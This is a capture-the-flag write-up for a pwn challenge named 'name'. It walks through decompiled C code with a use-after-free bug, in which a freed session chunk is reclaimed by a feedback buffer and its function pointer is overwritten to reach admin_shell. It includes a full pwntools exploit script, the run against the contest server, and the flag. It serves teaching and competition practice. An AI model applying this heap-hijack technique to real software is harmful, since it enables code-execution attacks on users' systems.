name
Overview

name

January 12, 2026
4 min read
0

name

Category
Pwn
Files
name libc.so.6 ld-linux-x86-64.so.2
Description
Denis always said that saying goodbye is not a reason to forget your name.

Program Analysis

In this challenge, we were given a binary named name. Let’s try to examine the decompiled code.

main

int main(void) {
int choice;
_init_streams();
while (1) {
menu();
if (scanf("%d", &choice) != 1) {
return 0;
}
if (choice == 1) {
create_session();
} else if (choice == 2) {
delete_session();
} else if (choice == 3) {
leave_feedback();
} else if (choice == 4) {
greet_user();
} else {
exit(0);
}
}
return 0;
}

The main() function initializes the streams and enters an infinite loop, offering four main actions: creating a session, deleting it, leaving feedback, or greeting the user. These actions interact with a global current_session pointer.

create_session

void create_session(void) {
current_session = malloc(0x20);
if (current_session == NULL) {
puts("[-] Allocation failed.");
} else {
*((void (**)(void *))((char *)current_session + 0x18)) = normal_greet;
printf("Enter name: ");
read(0, current_session, 0x14);
puts("[+] Session created.");
}
}

The create_session() function allocates a 0x20 byte chunk on the heap. It sets a function pointer at offset 0x18 to the normal_greet() function and reads up to 0x14 (20) bytes into the start of the chunk for the user’s name.

delete_session

void delete_session(void) {
if (current_session == NULL) {
puts("[-] No active session.");
} else {
free(current_session);
puts("[+] Session deleted.");
}
}

The delete_session() function frees the memory associated with the current_session. However, there’s a bug here: after freeing the chunk, the current_session pointer is not cleared (set to NULL), leading to a Use-After-Free (UAF) vulnerability.

leave_feedback

void leave_feedback(void) {
void *__buf;
__buf = malloc(0x20);
if (__buf == NULL) {
puts("[-] Allocation failed.");
} else {
printf("Enter feedback: ");
read(0, __buf, 0x20);
puts("[+] Feedback recorded.");
}
}

The leave_feedback() function allocates another 0x20 byte chunk—the same size as the session object. Because it uses the same bin, this new allocation will likely occupy the recently freed current_session memory if it was just deleted. We can write 32 bytes into this buffer, allowing us to overwrite the function pointer at offset 0x18.

greet_user

void greet_user(void) {
if (current_session == NULL) {
puts("[-] No active session.");
} else {
void (*greet_func)(void *) = *((void (**)(void *))((char *)current_session + 0x18));
greet_func(current_session);
}
}

The greet_user() function attempts to call the function pointer stored at current_session + 0x18. Since current_session still points to the (potentially) freed and reallocated memory, this triggers the UAF. If we’ve overwritten that pointer via leave_feedback(), we gain control over the execution flow.

admin_shell

void admin_shell(void) {
char *__s;
__s = getenv("FLAG_VAL");
if (__s == (char *)0x0) {
puts("grodno{REAL_COMBAT_UAF}");
} else {
puts(__s);
}
exit(0);
}

Finally, we find a hidden admin_shell() function that prints the flag. Our goal is to redirect the greet_user() call to this address.

Now that we know the bug, let’s move to the exploitation part.

Starting with a basic check of the binary’s protections:

Terminal window
checksec name
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./'
Stripped: No

The binary has No PIE, which means the addresses of functions and global variables are fixed. This simplifies our exploit as we don’t need to leak the base address of the executable.

Exploitation

By using the leave_feedback() function after deleting a session, we can overwrite the contents of the (now-allocated-to-feedback) session object, including the function pointer at +0x18.

When we call greet_user(), the program uses the dangling pointer to call whatever is at +0x18:

void greet_user(void) {
if (current_session != NULL) {
// USE-AFTER-FREE: Calls the function pointer at +0x18
void (*greet_func)(void *) = *((void (**)(void *))((char *)current_session + 0x18));
greet_func(current_session);
}
}

Our goal is to overwrite this with the address of admin_shell() (0x401256).

Exploit Script

from pwn import *
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
set follow-fork-mode parent
set follow-exec-mode same
continue
'''.format(**locals())
exe = './name'
elf = context.binary = ELF(exe, checksec=False)
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
def logleak(name, val): log.success(name+' = %#x' % val)
def loglibc(): log.success('libc addr = %#x' % libc.address)
def logbase(): log.success('pie addr = %#x' % elf.address)
def sa(delim,data): return io.sendafter(delim,data)
def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Lib-C library, can use pwninit/patchelf to patch binary
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
io = start()
def create_session(name):
sla(b'> ',b'1')
sla(b'name: ',str(name).encode())
def delete_session():
sla(b'> ',b'2')
def feedback(data):
sla(b'> ',b'3')
sla(b'feedback: ',data)
def greet():
sla(b'> ',b'4')
# 1. Create a session to populate current_session
create_session(b'test')
# 2. Delete it to create a dangling pointer
delete_session()
# 3. Use 'feedback' to take over the freed chunk
# Overwrite the function pointer at offset 24 (0x18)
feedback(cyclic(24)+p64(elf.sym["admin_shell"]))
# 4. Trigger the UAF call via greet_user
greet()
io.interactive()
Note

The binary has No PIE, so elf.sym["admin_shell"] is a constant address.

Running the exploit gives us the flag:

Terminal window
$ python3 xploit.py REMOTE ctf.mf.grsu.by 9070
[+] Opening connection to ctf.mf.grsu.by on port 9070: Done
[*] Switching to interactive mode
grodno{PHR33d_s3ss10N_S71LL_Gr337z}

Flag: grodno{PHR33d_s3ss10N_S71LL_Gr337z}